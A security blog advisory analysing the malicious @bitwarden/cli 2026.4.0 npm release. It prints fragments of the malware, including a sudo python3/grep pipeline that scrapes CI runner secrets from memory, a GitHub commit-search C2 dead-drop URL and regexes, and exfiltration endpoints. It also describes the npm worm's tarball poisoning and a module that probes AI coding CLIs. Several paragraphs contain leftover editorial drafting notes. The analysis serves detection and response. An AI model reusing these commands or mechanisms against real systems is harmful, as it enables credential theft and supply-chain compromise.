By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.
18px_cookie
e-remove
Blog
Glossary
Customer Story
Video
eBook / Report
Solution Brief

The Bitwarden CLI Supply Chain Attack: What Happened and What to Do

How attackers compromised Bitwarden's CLI and enlisted the help of AI coding agents to spread a worm and harvest developer secrets.

How attackers compromised Bitwarden's CLI and enlisted the help of AI coding agents to spread a worm and harvest developer secrets.

How attackers compromised Bitwarden's CLI and enlisted the help of AI coding agents to spread a worm and harvest developer secrets.

Written by
Kiran Raj
Kiran Raj
Published on
April 23, 2026
Updated on
April 23, 2026

How attackers compromised Bitwarden's CLI and enlisted the help of AI coding agents to spread a worm and harvest developer secrets.

How attackers compromised Bitwarden's CLI and enlisted the help of AI coding agents to spread a worm and harvest developer secrets.

Summary

Bitwarden’s command-line interface (CLI) has been compromised in a software supply chain attack. The malicious version 2026.4.0 of the npm package @bitwarden/cli was available on npm for roughly 1.5 hours, between 5:57 PM and 7:30 PM (ET) on April 22, 2026.

Bitwarden is an open-source password manager used by millions of individuals and organizations to store, generate, and share credentials across devices. Unlike many of its competitors, its codebase is publicly auditable, and it offers a free tier alongside paid personal, family, and enterprise plans.

Alongside user-facing clients, Bitwarden publishes a command-line interface (CLI), distributed via npm as @bitwarden/cli. The CLI is what turns Bitwarden from a consumer password manager into a piece of developer infrastructure: teams wire it into CI/CD pipelines to inject secrets at build or deploy time, use it to pull API keys into scripts, and integrate it with automation frameworks that need programmatic access to a shared vault. That reach is precisely what makes it a high-value target, a compromised CLI doesn't just expose one user's passwords, it potentially sits inside the build systems of every team that depends on it.

The malicious payload collects CI secrets such as SSH keys or API tokens, and also replicates in victims’ npm projects. Comparable to previous Shai-Hulud campaigns, secrets are exfiltrated to public GitHub repositories created in victims’ namespaces. 

According to the official announcement from Bitwarden, the compromise is connected to the recent breach of Checkmarx’ GitHub Actions, one of which (checkmarx/ast-github-action) is used in Bitwarden’s GitHub repository.

This is a developing story. We'll update this post as new information becomes available.

Affected packages

Package Version(s) Publication date Monthly downloads (30d, package name)
@bitwarden/cli 2026.4.0 2026-04-22 297,738 (all versions)

Last known-clean before compromise: @bitwarden/cli@2026.3.0, re-released as @bitwarden/cli@2026.4.1 on Apr 23, 2026, at 4:45 PM GMT+2.

Technical analysis

Infection chain

A recursive diff between @bitwarden/cli@2026.4.0 and 2026.3.0 shows the changes are limited but significant. The newer version introduces two files bwsetup.js and bw1.js, absent in the prior release. It also modifies package.json to add a preinstall script (node bwsetup.js) and redirects the bw entry point from build/bw.js to bwsetup.js.

While build/bw.js appears in the diff, both versions are nearly identical in size (3.4 MB), indicating no meaningful change to the core CLI bundle. The primary difference is the added installer hook and execution redirection, consistent with a supply-chain insertion rather than a standard release update.

The shipped package.json fully controls entry. preinstall runs before install finishes, and bin maps the bw CLI name to bwsetup.js, not build/bw.js.

Install-time and default bw entry both go through the same bootstrap file.

bwsetup.js is plain Node ESM. If execFileSync("bun", ["--version"], { stdio: "ignore" }) succeeds (lines 5861), the script returns immediately, so an existing Bun install may mask the stager unless bw1.js is reached by another path (the package still ships the large bw1.js beside it). Otherwise it builds a GitHub release URL for Bun 1.3.13, extracts the binary under the package directory, and calls execFileSync to run bw1.js with inherited stdio.

Plaintext stager that pins Bun 1.3.13, builds the official GitHub release ZIP URL, extracts bun/bun.exe, then execFileSync launches the obfuscated bw1.js payload with inherited stdio, this is the bridge from npm install / bw to the 10 MB bundle.

Malicious behavior

The code replaces the expected Node-backed CLI path with a Bun-driven obfuscated payload. bw1.js is 10,154,904 bytes (~10 MB) delivered as a single minified line, a deliberate choice to frustrate line-based review, YARA signatures, and naive diff tooling.

Obfuscation

The bundle uses javascript-obfuscator layout: a self-invoking array-rotation IIFE, a 43,436-entry string table (_0x1ee1), and a string decoder (_0x214e). Call sites dispatch through _0xbae802(0x…) so APIs, URLs, and file paths only resolve at runtime. A secondary scrambled-alphabet cipher (seed 0x3039) protects the most sensitive residual strings, the C2 domain, shell commands, and credential file paths, from recovery via the main string table alone.

Anti-analysis controls

Before performing any malicious activity, bw1.js runs a gauntlet of self-termination checks:

Check Trigger Action
System locale starts with ru Intl API, $LC_*, $LANG process.exit(0) — operator self-exclusion
Not running in any CI/CD environment and daemonization fails 30+ CI env-var checks process.exit(0) — avoids interactive developer machines
PID lock at $TMPDIR/tmp.987654321.lock exists and process is live process.kill(pid, 0) process.exit(0) — single-instance guard
SIGINT / SIGTERM Process signals Replaced with no-op () => {}
All logging output console.log / console.error Silenced: N0 = {log: ()=>{}, error: ()=>{}}

CI/CD detection covers 30+ platforms including GitHub Actions, GitLab CI, CircleCI, Jenkins, Travis CI, TeamCity, Bitbucket Pipelines, Vercel, Netlify, and AWS CodeBuild. The Russian-locale exit is a documented operator safety pattern in Eastern European threat actor tooling.

Anti-analysis gate in mz0(): if the resolved locale or LC_* / LANG / LANGUAGE env hints start with ru, the sample exits cleanly—documented operator self-exclusion, visible as Intl…resolvedOptions().locale and env checks in one view.

tz0() shuffled-switch that treats 30+ CI/CD fingerprints (GITHUB_ACTIONS, GITLAB_CI, CIRCLECI, JENKINS_URL, TRAVIS, BUILDKITE, cloud build IDs, etc.) as “allowed to run,” contrasting with the blog’s claim that non-CI + failed daemonization leads to exit—capture enough cases to show breadth.

Single-instance guard: global FE builds tmpdir() + "tmp.987654321.lock", i.e. a predictable PID lock under $TMPDIR, used with process.kill(pid, 0) elsewhere to avoid overlapping runs, show the literal filename construction.

Credential harvesting

Seven independent collectors run in parallel and feed a shared result store. All extend a common $f base class with pattern-matching for ghp_*, gho_* (GitHub tokens), and npm_* (npm tokens). Three (Cn, un, Co) execute first in H7O() (lines 245806–245819); four more (ku, xu, Rn, uo) run in parallel in the main entry (line 245988).

Filesystem scanner , Walks OS-specific "hotspot" paths (decoded at runtime from the scrambled cipher, bR1 variable, lines 244997–245001), reading files up to 5 MB each (jR1 = 0x500000). macOS and Linux paths are all __decodeScrambled([...]) calls — not recoverable by static analysis alone. Windows targets are plaintext in the binary: [".env", "config.ini"]. The macOS and Linux paths listed below are contextual inferences from byte-count and SDK string patterns; they are plausible but not confirmed without running the decoder script against each blob: ~/.ssh/id_rsa, ~/.npmrc, ~/.aws/credentials, ~/.config/gcloud/credentials.db, ~/.gitconfig, ~/.kube/config, ~/.azure/credentials, and .env.

Shell and environment scanner, Executes a scrambled shell command (consistent with a history or token-listing invocation) via execSync and dumps the entire process.env object. Extracts GitHub and npm tokens from combined output.

GitHub Actions runner secrets, Fires only when GITHUB_ACTIONS=true and RUNNER_OS=Linux. Pipes an embedded Python payload (a gzip+base64 blob) to sudo python3, using:

sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}'

This extracts all secrets from the runner process's memory in GitHub's internal storage format. The collector explicitly skips github_token and system.github.token to avoid triggering GitHub's automatic token-revocation alerts. Repository name and workflow name are also captured for operator context.

Linux GitHub Actions path: execSync pipes sudo python3 through tr and grep to scrape runner secret blobs from memory, while explicitly skipping github_token / system.github.token to dodge GitHub’s auto-revocation—show the pipeline string and the skip if together.

AWS Secrets Manager — Uses the bundled @aws-sdk/client-secrets-manager to list all secrets (paginated) and retrieve each value — including binary secrets as base64 — via ambient AWS credentials.

AWS SSM Parameter Store — Uses @aws-sdk/client-ssm to list all parameters and retrieve each with WithDecryption: true, with exponential-backoff retry on throttling errors.

GCP Secret Manager — Uses the bundled @google-cloud/secret-manager with Application Default Credentials, auto-discovers the project ID, lists all secrets, and accesses the latest version of each.

Azure Key Vault — Uses @azure/keyvault-secrets with DefaultAzureCredential, discovers subscriptions, and enumerates all reachable Key Vault secrets with AbortController-based timeouts.

C2 retrieval: GitHub commit dead-drop

The payload uses GitHub's public commit-search API as a command-and-control channel — a technique that blends into normal developer traffic and has no dedicated attacker infrastructure to block or take down.

Primary PAT channel:

GET https://api.github.com/search/commits
	?q=LongLiveTheResistanceAgainstMachines    
	&sort=author-date&order=desc&per_page=50

Commit messages matching ^LongLiveTheResistanceAgainstMachines:([A-Za-z0-9+/]{1,100}={0,3})$ are base64-decoded to recover a GitHub Personal Access Token. The token is validated for repo scope before use. This is how the attacker delivers the PAT used to receive stolen data — there is no hardcoded attacker credential in the binary.

GitHub commit-search C2: hardcoded api.github.com/search/commits?q=LongLiveTheResistanceAgainstMachines… plus the ^LongLiveTheResistanceAgainstMachines:(base64)$ commit-message parser that double-decodes into a PAT tested for repo scope—legitimate API abused as dead-drop.

Both literals also appear in the decoded string table:

grep "LongLiveTheResistanceAgainstMachines" deobfuscated/bw1.decoded-strings.json

Secondary signed channel: A separate api.github.com/search/commits call uses a runtime-decoded (scrambled cipher) search query. Each returned commit message is checked against the regex /beautifulcastle ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/ (line 198220) and the payload is verified with crypto.createVerify('sha256') against a 2 KB RSA public key embedded in the Er variable (line 198073). Only cryptographically signed payloads are accepted — preventing command injection by a third party who discovers the search term.

Secondary channel: beautifulcastle regex carving two base64 segments from commit messages, then crypto.createVerify('sha256') / verify against an embedded RSA key—signed operator updates without a fixed cleartext search term in the binary.

Exfiltration

Two exfiltration channels run in parallel. All data is encrypted before leaving the host.

Encryption: Results are JSON-serialized, gzip-compressed, AES-256-GCM encrypted with a random 256-bit key, and that symmetric key is RSA-OAEP encrypted (SHA-256 hash) with the attacker's embedded public key. Repository seizure or traffic interception yields only ciphertext — only the attacker's RSA private key decrypts.

Exfil envelope crypto in encryptProviderResults: gzip JSON, aes-256-gcm with random IV + key, getAuthTag, then RSA-OAEP (RSA_PKCS1_OAEP_PADDING, oaepHash: sha256) wrapping the symmetric key—stolen data is not plaintext at rest on the wire/repo.

Channel A — GitHub repository: The payload creates a new repository on the victim's GitHub account using the C2-retrieved (or stolen victim) PAT. Repository names are generated from two Dune-themed word-lists: {sardaukar|mentat|fremen|atreides|harkonnen|...}-{sandworm|ornithopter|heighliner|...}-NNN, with the description "Shai-Hulud: The Third Coming". Harvested results are batched (max 30 MB per commit) and committed to results/results-<timestamp>-<n>.json. If the victim account has no org memberships, the repository is created public and the commit message encodes the stolen token back into the LongLiveTheResistanceAgainstMachines: pattern — feeding it directly into the attacker's dead-drop watch.

GitHub exfil staging: random repo names from Al0 × Ll0 Dune-themed word lists plus numeric suffix, POST /user/repos with public description Shai-Hulud: The Third Coming—campaign branding on the victim-owned repo used to host results/*.json batches.

commitBatch: when pubToken is set, the Git message becomes LongLiveTheResistanceAgainstMachines: + base64-wrapped token, otherwise a benign Add files.—this re-injects the victim PAT into the same commit-search dead-drop the malware polls for instructions.

Channel B — HTTPS POST: Probes a hardcoded domain (encoded in the scrambled cipher) on port 443. If reachable, posts the encrypted payload as JSON. Falls back to Channel A if the domain is unreachable.

Supply chain worm

When a valid npm token with bypass_2fa and package:write permissions is found, the malware pivots to active supply chain propagation:

  1. Validates the token and enumerates all packages it can publish to via registry.npmjs.org/-/npm/v1/tokens, org membership, and maintainer search.
  2. Downloads the current latest tarball for each package.
  3. Poisons the tarball: replaces dist.js with the running bw1.js binary, writes an infected setup.mjs, injects preinstall: node setup.mjs into package.json, and bumps the patch version by 1.
  4. Republishes to npm with the stolen auth token.

Every downstream consumer who installs any poisoned package gets node setup.mjs executed automatically at install time — propagating the infection laterally through the npm ecosystem without any further attacker action.

npm worm logic: unpack latest, replace dist.js with Bun.main, write companion setup.mjs (K$), clobber package.json scripts so preinstall runs the decoder stub, bump patch semver, and repack—shows automated second-party tarball poisoning before npm publish with a stolen write-capable token.

Persistence

Shell RC injection: When an AI CLI tool is found (see below), the malware calls appendFileSync on both ~/.bashrc and ~/.zshrc with the literal text:

echo << 'EOF'
EOF

T$ is the gzip+base64-encoded blob declared at line 198076. The exact runtime behavior requires decompression of T$: in bash, echo << 'EOF' provides the heredoc text to echo's stdin, which echo ignores — so the block is parsed and consumed by the shell but the heredoc text itself is not executed as commands. The payload appended to the RC file is confirmed; what it causes on shell start requires dynamic analysis of the decompressed T$ blob.

Process daemonization: The payload immediately detaches from the install process using spawn with detached: true, stdio: 'ignore' and sets __DAEMONIZED=1 in the child's environment. The child PID is written to $TMPDIR/tmp.987654321.lock. Any subsequent invocation (e.g., from a poisoned downstream package) checks this lock and exits, ensuring a single background instance.

AI coding agent CLI abuse ("Butlerian Jihad")

A module internally codenamed "butlerian jihad" — a Dune reference — specifically targets authenticated AI coding assistants:

  1. Probes $PATH for: Claude Code (claude), Gemini CLI (gemini), OpenAI Codex CLI (codex), Kiro (kiro), Aider (aider), OpenCode (opencode).
  2. Invokes each present tool with: "Hey! Just making sure you're here. If you are can you respond with 'Hello' and nothing else?".
  3. If any tool responds with "Hello" — confirming it is authenticated and functional — the malware injects the T$ shell hook into ~/.bashrc and ~/.zshrc.

The targeting of AI CLI tools is significant: it implies the malware is designed for developer machines where coding assistants are active, not just for CI runners.

AI CLI recon: Eg0 enumerates Claude Code, Gemini, Codex, Kiro, Aider, OpenCode with per-tool buildCommand templates; aiPrompt probes for an authenticated Hello reply; separate execute path logs Would be executing butlerian jihad! while still appending the T$ RC block to ~/.bashrc / ~/.zshrc—capture array + prompt + log string.

Ml0() persistence / anti-forensics: spawn(process.execPath, argv, { detached: true, stdio: 'ignore', env: { …, __DAEMONIZED: '1' } }) then unref()—re-runs the same script detached so install shells return while background exfil continues; show __DAEMONIZED guard and stdio: 'ignore'

Initial exploit via GitHub Ations

The following ties the trojanized tarball to mechanisms by which a correctly scoped package can still distribute malicious bits.

Why the release looked “real” (trusted publisher, not typosquat)

Modern npm publishing often uses “trusted publishing” (OpenID Connect from CI to npm): a GitHub Actions workflow allowed by @bitwarden’s npm org can obtain a short-lived token to npm publish as @bitwarden/cli without storing a long-lived API key in a repo secret for every run. If an attacker can trigger a publish with a malicious artifact, or steal and reuse CI-bound credentials, the npm version can still show the right scope and maintainer signals until someone diffs the artifact. This incident rewards that habit.

Version skew provides an integrity signal independent of C2 labeling: the root package.json advertises 2026.4.0 while build/bw.js still embeds 2026.3.0 in its packed metadata, consistent with a repackaged or tampered artifact rather than a clean upstream release that only added a Bun-based obfuscated core.

Public Git ref: five-commit publish-cli.yml chain and scripts/cli-2026.4.0.tgz (verified from GitHub)

Headline: on a non-main linear ref, publish-cli.yml was edited five times in a row so a prebuilt scripts/cli-2026.4.0.tgz could reach npm with id-token: write (OIDC). Newest-first file history: publish-cli.yml @ 03df1ecd… lists 03df1ecd86 → d5b8f8c016 → ed1164f7ad → ea44eef9ff → 47c6f59083. Parent pointers form one straight line (oldest 47c6f59…, newest 03df1ecd…). The tip is not the head of any branch on bitwarden/clients (empty branches-where-head list), which fits fork and PR-sibling reachability in 20353. A community comment on 20353 (citing this X post) correlates this SHA chain with the npm time window; treat that as reporter-sourced, not Bitwarden’s signed IR timeline.

  1. 47c6f59083… (Update action). Per API: 43 files, about nine lines added and nine thousand removed; adds scripts/cli-2026.4.0.tgz, strips most other workflow bodies, rewrites publish to checkout, Node setup, npm i g npm@latest, then npm publish of the staged tarball with provenance and public access. id-token: write is set. Author metadata: @iinuwa, iinuwa@bitwarden.com, commit not GPG-verified.
  2. ea44eef9ff… (Update action). Drops Node version detection and setup-node; keeps checkout plus the same npm publish one-liner. Looks like a simpler second try after a runner or tooling mismatch.
  3. ed1164f7ad… (Reapply). Manual GitHub OIDC JWT plus npm’s /oidc/token/exchange/.../@bitwarden/cli path, then npm config for the token. The publish line uses ${{ inputs.tarball }} but this fragment does not define workflowdispatch inputs, so the path is likely empty or invalid at run time.
  4. d5b8f8c016… (Reapply). Same token exchange, then npm publish the staged path without the provenance flag.
  5. 03df1ecd86… (Reapply). Adds shell that double base64-encodes $NPMTOKEN, copies the .tgz to /tmp, cds there, but still calls npm publish with a scripts/... path that likely does not exist from /tmp, so this still looks like trial and error (or log noise).

That sequence is consistent with one commit that staged the tarball and wired OIDC backed npm publish, followed by follow-on edits (including a dubious workflowdispatch input reference and later manual token handling) that suggest failed or partial runs. The analysis does not attribute a specific successful GitHub Actions run to the malicious npm publish; the definitive facts remain the deprecated version and the package behavior documented above.

What the visible .github/workflows history does show (hardening after a class of issues)

History on main for .github/workflows in April 2026 includes dependency bumps and merged PRs 20114 and 20113 (both titled AppSec AI Fix for Template Injection in GitHub Workflows Action on GitHub). Template injection in workflows is a real footgun when untrusted data meets ${{ }} expressions, a different model from a stolen static PAT, but the same broad theme: CI was over-trusted. That history reflects automation hardening; it is not evidence that template injection was the specific vector for this npm publish.

MITRE attack mapping

Tactic Technique Description
Initial Access T1195.001 Supply Chain Compromise: npm
Execution T1059.007 JavaScript via Bun runtime
Persistence T1546.004 Unix Shell Configuration (~/.bashrc, ~/.zshrc)
Defense Evasion T1027 / T1140 Obfuscated payload; runtime decode
Credential Access T1552.001 / .004 / .007 Files, private keys, container/cloud API
Discovery T1083 / T1526 File discovery; cloud service enumeration
Collection T1005 / T1213 Local data; cloud secrets
C2 T1102.002 GitHub commit dead-drop
Exfiltration T1041 / T1567.001 Over C2 channel; to code repository
Impact T1195.001 npm supply chain worm

Mitigation

Short-term: detection and response

For quick checks:

  • npm ls @bitwarden/cli, search lockfiles for @bitwarden/cli, find for node_modules/@bitwarden/cli/bw1.js, shasum -a 256 on bw1.js (compare to 18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb).
  • Registry check: curl against https://registry.npmjs.org/@bitwarden%2Fcli/2026.4.0 and parse deprecated.

Uninstall 2026.4.0, reinstall a vetted version, and rotate npm, GitHub, and cloud tokens per organizational policy where exposure is possible.

Long-term: prevention

  • Pin high-value CLIs and alert on unexpected bumps in SDLC repos.
  • Prefer npm provenance and attestation where available; rebuild from known tags and diff artifacts to upstream Git.
  • Harden CI publish paths (OIDC, branch rules, least privilege for Actions and registries).
  • Use npm’s ignore-scripts option only when intentional and reviewed; blind installs are especially risky for scoped tokens.

Indicators of compromise (IoCs)

File hashes

IoC Type Notes
npm:@bitwarden/cli@2026.4.0 Package / version Deprecated "DO NOT USE"; not latest
18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb SHA-256 (bw1.js) Main obfuscated payload
f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d SHA-256 (bw_setup.js) Bun stager
99ac962005550130398d55af2527d839e73489bc7911e7c2c37474d979aaf43f SHA-256 (.tgz) Package tarball

Behavioral / network

IoC Type Notes
https://api.github.com/search/commits?q=LongLiveTheResistanceAgainstMachines C2 dead-drop URL Present in every execution
audit[.]checkmarx[.]cx HTTPS exfiltration endpoint
94[.]154[.]172[.]43 HTTPS exfiltration endpoint IP
Commit message: ^LongLiveTheResistanceAgainstMachines:[A-Za-z0-9+/]{1,100}={0,3}$ GitHub commit pattern Attacker PAT delivery; stolen tokens re-written here
Commit message: beautifulcastle [A-Za-z0-9+/=]{1,30}\.[A-Za-z0-9+/=]{1,700} Signed C2 command RSA/SHA-256 verified secondary channel
preinstall: node bw_setup.js + "bw": "bw_setup.js" package.json fields Trojanized lifecycle / entry point
bun-v1.3.13 from github.com/oven-sh/bun/releases/ Stager download Legitimate host abused in delivery chain

Host artifacts

IoC Type Notes
$TMPDIR/tmp.987654321.lock Lock file PID file written by daemonized payload
__DAEMONIZED=1 Environment variable Set on detached child process
echo << 'EOF' ... EOF block in ~/.bashrc / ~/.zshrc Shell RC injection Written by the "Butlerian Jihad" module
GitHub repository with description "Shai-Hulud: The Third Coming" Exfil repository Created on victim's GitHub account
Repository name matching (sardaukar|mentat|fremen|atreides|...)-(sandworm|ornithopter|heighliner|...)-[0-9]+ Exfil repository name Generated from hardcoded Dune word-lists
results/results-<timestamp>-<n>.json committed to exfil repo Exfil file path AES-256-GCM + RSA-OAEP encrypted payload
preinstall: node setup.mjs in downstream packages Supply chain worm marker Injected into every re-published npm package

Conclusion

After the Trivy and Checkmarx breaches, this one hits yet another security tool embedded deep in developer and CI pipelines, where access to API tokens, keys, and other secrets is routine.

@bitwarden/cli@2026.4.0 is one of the more capable npm supply-chain payloads published to date. It combines a multi-cloud credential harvester targeting six distinct secret surfaces, a self-propagating npm worm that re-infects all packages a victim token can publish, a GitHub commit dead-drop C2 channel with RSA-signed command delivery, authenticated-encryption exfiltration that survives repository seizure, shell RC persistence, and a novel module that specifically targets authenticated AI coding assistants. The version skew between package.json (2026.4.0) and the embedded build/bw.js metadata (2026.3.0) is a reliable tamper signal that artifact integrity checks could have surfaced before installation.

Recommended actions:

  • Remove @bitwarden/cli@2026.4.0; install a verified clean release.
  • Rotate all in-scope credentials: GitHub PATs, npm tokens, AWS access keys, GCP service account keys, Azure credentials, and any secrets stored in cloud secret managers accessible from affected machines.
  • Search GitHub for repositories with description "Shai-Hulud: The Third Coming" or commit messages matching the LongLiveTheResistanceAgainstMachines: pattern — these are attacker-controlled exfiltration stores.
  • Audit npm publish logs for packages with unexpected patch-version bumps and a preinstall: node setup.mjs hook.
  • Inspect ~/.bashrc and ~/.zshrc on affected machines for appended heredoc blocks.
  • Check $TMPDIR/tmp.987654321.lock for a running daemon PID.
  • Feed file hashes to threat intelligence platforms.
Malicious Package Detection

Detect and block malware

Find out More

The Challenge

The Solution

The Impact

Book a Demo

Book a Demo

Book a Demo

Welcome to the resistance
Oops! Something went wrong while submitting the form.

Book a Demo

Book a Demo

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Book a Demo